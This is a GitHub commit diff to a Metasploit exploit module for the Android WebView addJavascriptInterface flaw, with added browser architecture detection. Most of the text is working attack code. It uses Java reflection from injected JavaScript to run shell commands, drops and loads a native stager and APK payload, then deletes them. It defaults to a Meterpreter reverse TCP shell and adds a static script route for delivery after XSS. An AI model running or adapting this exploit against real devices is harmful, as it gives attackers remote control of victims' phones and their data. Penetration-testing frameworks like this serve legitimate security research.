Skip to content

Commit 2e4c2b1

Browse files
committed
Disable Android 4.0, add arch detection.
Android 4.0, it turns out, has a different echo builtin than the other androids. Until we can figure out how to drop a payload on a 4.0 shell, we cannot support it. Arch detection allows mips/x86/arm ndkstagers to work, unfortunately x86 ndkstager was not working, so it is disabled for now.
1 parent 55500ea commit 2e4c2b1

File tree

2 files changed

+154
-45
lines changed

2 files changed

+154
-45
lines changed

data/js/detect/os.js

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@ arch_armle = "armle";
2020
arch_x86 = "x86";
2121
arch_x86_64 = "x86_64";
2222
arch_ppc = "ppc";
23+
arch_mipsle = "mipsle";
2324

2425
window.os_detect = {};
2526

@@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){
184185
} else if (platform.match(/arm/)) {
185186
// Android and maemo
186187
arch = arch_armle;
187-
if (navigator.userAgent.match(/android/i)) {
188-
os_flavor = 'Android';
189-
}
188+
} else if (platform.match(/x86/)) {
189+
arch = arch_x86;
190+
} else if (platform.match(/mips/)) {
191+
arch = arch_mipsle;
192+
}
193+
194+
195+
if (navigator.userAgent.match(/android/i)) {
196+
os_flavor = 'Android';
190197
}
191198
} else if (platform.match(/windows/)) {
192199
os_name = oses_windows;

modules/exploits/android/browser/webview_addjavascriptinterface.rb

Lines changed: 144 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -7,28 +7,49 @@
77

88
class Metasploit3 < Msf::Exploit::Remote
99

10-
include Msf::Exploit::Remote::HttpServer::HTML
10+
include Msf::Exploit::Remote::BrowserExploitServer
1111
include Msf::Exploit::Remote::BrowserAutopwn
1212

13-
autopwn_info({
14-
:os_flavor => "Android",
15-
:arch => ARCH_ARMLE,
13+
# Since the NDK stager is used, arch detection must be performed
14+
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ]
15+
16+
# Most android devices are ARM
17+
DEFAULT_ARCH = ARCH_ARMLE
18+
19+
# Some of the default NDK build targets are named differently than
20+
# msf's builtin constants. This mapping allows the ndkstager file
21+
# to be looked up from the msf constant.
22+
NDK_FILES = {
23+
ARCH_ARMLE => 'armeabi',
24+
ARCH_MIPSLE => 'mips'
25+
}
26+
27+
autopwn_info(
28+
:os_flavor => 'Android',
1629
:javascript => true,
1730
:rank => ExcellentRanking,
31+
32+
# The Android 4.0 shell is different than other versions of android
33+
# in that the echo builtin does not allow the \x hex encoding syntax.
34+
# Android 4.0 is still vulnerable to the Java reflection exploit, but
35+
# until we find a way to drop and run the payload, we can't support
36+
# it as a target.
1837
:vuln_test => %Q|
19-
for (i in top) {
20-
try {
21-
top[i].getClass().forName('java.lang.Runtime');
22-
is_vuln = true; break;
23-
} catch(e) {}
38+
if (!navigator.userAgent.match(/Android 4\.0;/)) {
39+
for (i in top) {
40+
try {
41+
top[i].getClass().forName('java.lang.Runtime');
42+
is_vuln = true; break;
43+
} catch(e) {}
44+
}
2445
}
2546
|
26-
})
47+
)
2748

2849
def initialize(info = {})
2950
super(update_info(info,
30-
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
31-
'Description' => %q{
51+
'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution',
52+
'Description' => %q{
3253
This module exploits a privilege escalation issue in Android < 4.2's WebView component
3354
that arises when untrusted Javascript code is executed by a WebView that has one or more
3455
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
@@ -46,72 +67,92 @@ def initialize(info = {})
4667
4768
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
4869
},
49-
'License' => MSF_LICENSE,
50-
'Author' => [
70+
'License' => MSF_LICENSE,
71+
'Author' => [
5172
'jduck', # original msf module
5273
'joev' # static server
5374
],
54-
'References' => [
75+
'References' => [
5576
['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
5677
['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
5778
['URL', 'http://50.56.33.56/blog/?p=314'],
5879
['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
5980
['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py']
6081
],
61-
'Platform' => 'android',
62-
'Arch' => ARCH_DALVIK,
63-
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', },
64-
'Targets' => [ [ 'Automatic', {} ] ],
65-
'DisclosureDate' => 'Dec 21 2012',
66-
'DefaultTarget' => 0,
82+
'Platform' => 'android',
83+
'Arch' => ARCH_DALVIK,
84+
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
85+
'Targets' => [ [ 'Automatic', {} ] ],
86+
'DisclosureDate' => 'Dec 21 2012',
87+
'DefaultTarget' => 0,
6788
'BrowserRequirements' => {
68-
:source => 'script',
69-
:os_flavor => "Android",
70-
:arch => ARCH_ARMLE
89+
:source => 'script',
90+
:os_flavor => 'Android'
7191
}
7292
))
7393
end
7494

95+
# Hooked to prevent BrowserExploitServer from attempting to do JS detection
96+
# on requests for the static javascript file
7597
def on_request_uri(cli, req)
76-
if req.uri.end_with?('js')
77-
print_status("Serving javascript")
78-
send_response(cli, js, 'Content-type' => 'text/javascript')
98+
if req.uri =~ /\.js/
99+
serve_static_js(cli, req)
79100
else
80-
print_status("Serving exploit HTML")
81-
send_response_html(cli, html)
101+
super
82102
end
83103
end
84104

85-
def ndkstager(stagename)
86-
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so')
105+
# The browser appears to be vulnerable, serve the exploit
106+
def on_request_exploit(cli, req, browser)
107+
arch = normalize_arch(browser[:arch])
108+
print_status "Serving #{arch} exploit..."
109+
send_response_html(cli, html(arch))
110+
end
111+
112+
# The NDK stager is used to launch a hidden APK
113+
def ndkstager(stagename, arch)
114+
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
87115
data = File.read(localfile, :mode => 'rb')
88116
data.gsub!('PLOAD', stagename)
89117
end
90118

91-
def js
119+
def js(arch)
92120
stagename = Rex::Text.rand_text_alpha(5)
93-
%Q|
121+
script = %Q|
94122
function exec(obj) {
95123
// ensure that the object contains a native interface
96124
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
97125
98126
// get the pid
99-
var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null);
127+
var pid = obj.getClass()
128+
.forName('android.os.Process')
129+
.getMethod('myPid', null)
130+
.invoke(null, null);
100131
101132
// get the runtime so we can exec
102-
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
103-
var runtime = m.invoke(null, null);
133+
var runtime = obj.getClass()
134+
.forName('java.lang.Runtime')
135+
.getMethod('getRuntime', null)
136+
.invoke(null, null);
137+
138+
// libraryData contains the bytes for a native shared object built via NDK
139+
// which will load the "stage", which in this case is our android meterpreter stager.
140+
// LibraryData is loaded via ajax later, because we have to access javascript in
141+
// order to detect what arch we are running.
142+
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}";
143+
144+
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
145+
// another stager which loads android meterpreter from the msf handler.
104146
var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}";
105-
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}";
106147
107148
// get the process name, which will give us our data path
108149
// $PPID does not seem to work on android 4.0, so we concat pids manually
109150
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
110151
var ch, path = '/data/data/';
111152
while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
153+
112154
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
113155
var stagePath = path + '/#{stagename}.apk';
114-
var dexPath = path + '/#{stagename}.dex';
115156
116157
// build the library and chmod it
117158
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -121,19 +162,80 @@ def js
121162
runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
122163
runtime.exec(['chmod', '700', stagePath]).waitFor();
123164
165+
// load the library (this fails in x86, figure out why)
124166
runtime.load(libraryPath);
167+
168+
// delete dropped files
125169
runtime.exec(['rm', stagePath]).waitFor();
126170
runtime.exec(['rm', libraryPath]).waitFor();
127-
runtime.exec(['rm', dexPath]).waitFor();
128171
129172
return true;
130173
}
131174
132-
for (i in top) { if (exec(top[i]) === true) break; }
175+
if (!navigator.userAgent.match(/Android 4\.0;/)) {
176+
for (i in top) { if (exec(top[i]) === true) break; }
177+
}
133178
|
179+
180+
# remove comments and empty lines
181+
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
182+
end
183+
184+
# Called when a client requests a .js route.
185+
# This is handy for post-XSS.
186+
def serve_static_js(cli, req)
187+
arch = req.qstring['arch']
188+
response_opts = { 'Content-type' => 'text/javascript' }
189+
190+
if arch.present?
191+
print_status("Serving javascript for arch #{normalize_arch arch}")
192+
send_response(cli, js(normalize_arch arch), response_opts)
193+
else
194+
print_status("Serving arch detection javascript")
195+
send_response(cli, static_arch_detect_js, response_opts)
196+
end
197+
end
198+
199+
# This is served to requests for the static .js file.
200+
# Because we have to use javascript to detect arch, we have 3 different
201+
# versions of the static .js file (x86/mips/arm) to choose from. This
202+
# small snippet of js detects the arch and requests the correct file.
203+
def static_arch_detect_js
204+
%Q|
205+
var arches = {};
206+
arches['#{ARCH_ARMLE}'] = /arm/i;
207+
arches['#{ARCH_MIPSLE}'] = /mips/i;
208+
arches['#{ARCH_X86}'] = /x86/i;
209+
210+
var arch = null;
211+
for (var name in arches) {
212+
if (navigator.platform.toString().match(arches[name])) {
213+
arch = name;
214+
break;
215+
}
216+
}
217+
218+
if (arch) {
219+
// load the script with the correct arch
220+
var script = document.createElement('script');
221+
script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
222+
script.setAttribute('type', 'text/javascript');
223+
224+
// ensure body is parsed and we won't be in an uninitialized state
225+
setTimeout(function(){
226+
var node = document.body \|\| document.head;
227+
node.appendChild(script);
228+
}, 100);
229+
}
230+
|
231+
end
232+
233+
# @return [String] normalized client architecture
234+
def normalize_arch(arch)
235+
if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
134236
end
135237

136-
def html
137-
"<!doctype html><html><body><script>#{js}</script></body></html>"
238+
def html(arch)
239+
"<!doctype html><html><body><script>#{js(arch)}</script></body></html>"
138240
end
139241
end

0 commit comments

Comments
 (0)